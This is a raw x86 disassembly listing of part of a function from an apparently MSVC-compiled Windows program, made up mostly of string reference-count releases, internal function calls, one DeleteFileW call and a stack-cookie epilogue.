test ecx, ecx
jg 0x419311
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0xa7
mov eax, dword [ebp - 0x70]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x419334
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [ebp - 0x34]
push ecx
lea ecx, [ebp - 0x70]
call fcn.0041b840
mov esi, eax
mov byte [ebp - 4], 0xaa
mov eax, dword [ebp - 0x58]
add eax, 0xfffffff0
push eax
call fcn.00405320
lea edi, [eax + 0x10]
add esp, 4
mov dword [ebp - 0x68], edi
push esi
lea edx, [ebp - 0x68]
push edx
mov byte [ebp - 4], 0xab
mov eax, dword [ebx]
lea ecx, [ebp - 0x84]
push ecx
lea edx, [eax + 0x170]
push edx
add eax, 0x294
push eax
call fcn.00437a20
lea eax, [edi - 0x10]
mov byte [ebp - 4], 0xaa
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41939f
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0xa7
mov eax, dword [ebp - 0x70]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4193c2
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [ebp - 0x80]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov byte [ebp - 4], 0x85
mov eax, dword [ebp - 0x64]
add eax, 0xfffffff0
mov byte [ebp - 0x4e], 0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x4193f3
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x84
mov eax, dword [ebp - 0x60]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x419416
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x69
mov eax, dword [ebp - 0x78]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x419454
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
jmp 0x419454
cmp byte [ebp - 0x4e], 0
je 0x419454
mov ecx, dword [ebp - 0x4c]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x88]
mov byte [edx + eax + 0x5c97a], 1
mov byte [ebp - 4], 0x37
mov eax, dword [ebp - 0x58]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x419477
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
cmp byte [ebp - 0x45], 0
jne 0x419522
push 0x5b1200
lea ecx, [ebp - 0x68]
mov byte [ebp - 0x4e], 0
call fcn.00401d90
mov esi, eax
mov byte [ebp - 4], 0xac
mov eax, dword [ebp - 0xe4]
add eax, 0xfffffff0
push eax
call fcn.00405320
lea edi, [eax + 0x10]
add esp, 4
mov dword [ebp - 0xbc], edi
mov ebx, dword [ebp - 0x4c]
push esi
lea ecx, [ebp - 0xbc]
push ecx
mov byte [ebp - 4], 0xad
mov eax, dword [ebx]
lea edx, [ebp - 0x84]
push edx
lea ecx, [eax + 0x170]
push ecx
add eax, 0x294
push eax
call fcn.00437a20
lea eax, [edi - 0x10]
mov byte [ebp - 4], 0xac
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x4194fd
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x37
mov eax, dword [ebp - 0x68]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x419525
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
jmp 0x419525
mov ebx, dword [ebp - 0x4c]
push 0x5b0bc8
lea ecx, [ebp - 0x70]
call fcn.00401d90
mov esi, eax
push 0x5b0bc8
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0xae
call fcn.00401d90
mov edi, eax
push 0x5b1ccc
lea ecx, [ebp - 0xbc]
mov byte [ebp - 4], 0xaf
call fcn.00401d90
push esi
push edi
lea ecx, [ebp - 0x84]
push ecx
mov byte [ebp - 4], 0xb0
mov edx, dword [ebx]
push eax
add edx, 0x16c
push edx
lea eax, [ebp - 0x9c]
push eax
mov ecx, 7
call fcn.004392c0
mov byte [ebp - 4], 0xaf
mov eax, dword [ebp - 0xbc]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4195a9
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0xae
mov eax, dword [ebp - 0x68]
add eax, 0xfffffff0
or esi, 0xffffffff
lea ecx, [eax + 0xc]
mov edx, esi
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4195ce
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x37
mov eax, dword [ebp - 0x70]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
mov edx, esi
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4195f0
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [ebx]
add dword [eax + 0xb7440], esi
mov byte [ebp - 4], 0x36
mov eax, dword [ebp - 0xe4]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
mov edx, esi
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41961d
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x12
mov eax, dword [ebp - 0x10c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
mov edx, esi
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x419642
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0xf
mov eax, dword [ebp - 0x6c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
mov edx, esi
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x419664
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0xe
mov eax, dword [ebp - 0xa0]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
mov edx, esi
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x419689
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0xd
mov eax, dword [ebp - 0xb4]
lea ecx, [eax + 0xc]
mov edx, esi
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4196ab
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0xc
mov eax, dword [ebp - 0xe0]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
mov edx, esi
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4196d0
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0xb
mov eax, dword [ebp - 0xdc]
lea ecx, [eax + 0xc]
mov edx, esi
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4196f2
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0xa
mov eax, dword [ebp - 0x80]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
mov edx, esi
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x419714
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 9
mov eax, dword [ebp - 0x84]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
mov edx, esi
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x419739
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 8
mov eax, dword [ebp - 0xd8]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
mov edx, esi
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41975e
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 7
mov eax, dword [ebp - 0xc4]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
mov edx, esi
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x419783
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 5
mov eax, dword [ebp - 0xc0]
lea ecx, [eax + 0xc]
mov edx, esi
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4197a5
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0
mov eax, dword [ebp - 0xf8]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
mov edx, esi
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4197ca
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [ebp - 0xfc]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
mov edx, esi
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4197eb
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [ebp - 4], esi
mov eax, dword [ebp - 0x9c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
lock xadd dword [ecx], esi
dec esi
test esi, esi
jg 0x41980d
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov al, byte [ebp - 0x4e]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00550891
mov esp, ebp
pop ebp
ret